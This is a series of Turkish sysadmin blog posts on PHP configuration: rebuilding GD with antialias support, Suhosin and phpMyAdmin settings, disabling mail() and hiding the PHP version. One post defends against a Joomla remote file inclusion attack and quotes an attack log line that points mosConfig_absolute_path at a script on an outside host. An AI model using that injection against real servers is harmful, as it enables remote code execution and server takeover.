Category: Php
Genel, Linux, Php

PHP5-GD ve imageantialias destekli derlenmesi

Debian Lenny ustunde apt-get install php5-gd yazarak php 'ye gd destegi verebiliyoruz fakat imageantialias desteginide vermek istediginizde durum biraz degisiyor ve gd 'yi tekrar derlemeye zorluyor. Peki imageantialias desteginin olup olmadigini nasil anlarsiniz ? php.net 'ten aldigim ufak bir kod sayesinde bunu da gorebiliyorum. <?php if (!extension_loaded("gd")) die("skip GD not present"); ?> --FILE-- <?php $image = tmpfile(); var_dump(imageantialias($image, true)); ?> Yukaridaki kod aslinda gd desteginin olup olmadigina bakiyor sonrasinda imageantialias 'a.. Eger gd varsa ve imageantialias yoksa asagidaki hata kodu donuyor. Fatal error: Call to undefined function imageantialias() in /var/www/index.php on line 8 Simdi debian lenny ustunde php-gd imageantialias destegini verelim. Asagidaki paketleri derleme icin kullanacagiz apt-get install build-essential debhelper fakeroot cd /tmp/ mkdir php5 apt-get build-deb php5 apt-get source php5 cd /tmp/php5 cd php_version/debian vim rules 207. satirda bulunan satiri #207 --with-gd=shared --enable-gd-native-ttf --with-gd=shared --enable-gd-native-ttf ile degistiriyoruz. cd /tmp/php5/php_version/ dpkg-buildpackage -rfakeroot derleme islemi sistem ozelliklerine bagli olarak biraz surecektir. Derleme bittigi zaman cd .. komutuyla dizin disina cikalim. dpkg -i php5-gd_5.2.6.dfsg.1-1+lenny3_amd64.deb komutuyla yukleyelim. (bu php surumu sunucuda kullandigim surum, sizinkisine gore adlarini degistirin) /etc/init.d/apache2 restart ile yeniden baslatalim ve tekrar yukarda belirtilmis olan kodu calistiralim, imageantialias calistigini goreceksiniz. kaynak : http://blog.pirsig.net/apiBlog/entry/compile_php5_gd Murat Ugur Eminoglu
Php

phpsuhosin ve phpmyadmin

Simdi phpsuhosin derledim, hos guzel calisiyor ama phpmyadmin 'e girerken bazi kisitlamalardan dolayi hata aliyordum. Ilk olarak , blackliste eklemis oldugum apache_getenv fonksiyonunun etkisi idi. ALERT - function within blacklist called: apache_getenv() Bunun icin asagidaki parametleri apachedeki phpmyadmin virtualhost 'unun icine ekleyin. php_admin_value suhosin.executor.func.blacklist " " ikinci sorun ise, phpmyadmin ustunden kullanici eklenemiyordu, alinana hata degisken limitinin asmasindan dolayi idi. ALERT - configured POST variable limit exceeded - dropped variable 'fields[multi_edit][1][ssl_cipher]'php_admin_value suhosin.request.max_vars 400 Bu islemler sonrasinda apache yeniden reload edilmelidir. #Debian 'da /etc/init.d/apache2 reload #Fedora 'da service httpd reload Sevgiyle.
Apache, Php

Joomla ‘daki mosConfig_absolute_path acigi

Selamlar, gecen gun karsilastigim bir acik (veya benim gozden kacirmis oldugum) durumu ile karsilastim. Yapmis oldugu joomla 'da mosconfig_absolute_patch 'i kullanarak uzaktaki bir istemciden bir script cagirmak ve sunucu bilgilerini cekmek (disk,ram,cpu, dosya degistirme, silme, ekleme, dizinleri gezme, dizinleri listeleme gibi).  Bu durumu duzeltmek icin ilk aklima gelen php.ini icerisindeki (uzaktaki sunucu ustunden include islemi yaptiran) allow_url_fopen parametresini kapatmakti. Ama kullandigim icin kapatmak pek isime gelmedi ve baska bir cozum olan apache modulu olan mod_rewrite kullanmak idi. Saldiri log'u 217.172.22.207 - - [15/Feb/2008:02:43:49 +0200] "GET ///////?mosConfig_absolute_path=http://www.xxfs.ru./r.txt?? HTTP/1.1" 200 671 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" Mod_rewrite ornek conf 'u
RewriteEngine on
RewriteCond %{THE_REQUEST} mosConfig
RewriteRule ^/* http://www.murat.ws/ [F]
Sevgiyle.
Php

Formlardan atilan spam(lar)

Gecenlerde sunucu kuyrugunda yaklasik olarak 20000 'e yakin www-data kullanicisina ait mailler gordum. Bunun tek sebebi rasgele yazilmis ve php mail fonksiyonu kullanarak yapilmis formlardir. Tum loglara tek tek bakmak uzun surecegi icin tercih edilmeyen bir yolda olsa php mail fonksiyonunu kapatmakta cozumu buldum. php mail fonksiyonunu devredisi birakmak icin tek yapmaniz gereken php.ini dosyaniza asagidaki satiri eklemektir. disable_functions = mail  /etc/init.d/httpd restart Sevgiyle.
Php

Php versiyon bilgilerini saklama

vim /etc/php.ini dosyasını açıp expose_php On değerini expose_php Off olarak değiştirirseniz versiyon bilgilerini gizlemiş olursunuz.
HEAD http://www.murat.ws/index.php
200 OK
Connection: close
Date: Wed, 30 May 2007 01:16:30 GMT
Content-Type: text/html; charset=UTF-8
Client-Date: Wen, 30 May 2007 21:48:13 GMT
Client-Peer: 10.0.0.1:80
Client-Response-Num: 1
X-Powered-By: PHP/5.1.2-1+b1 (işlemlerden sonra bu bilgi kalkıyor.)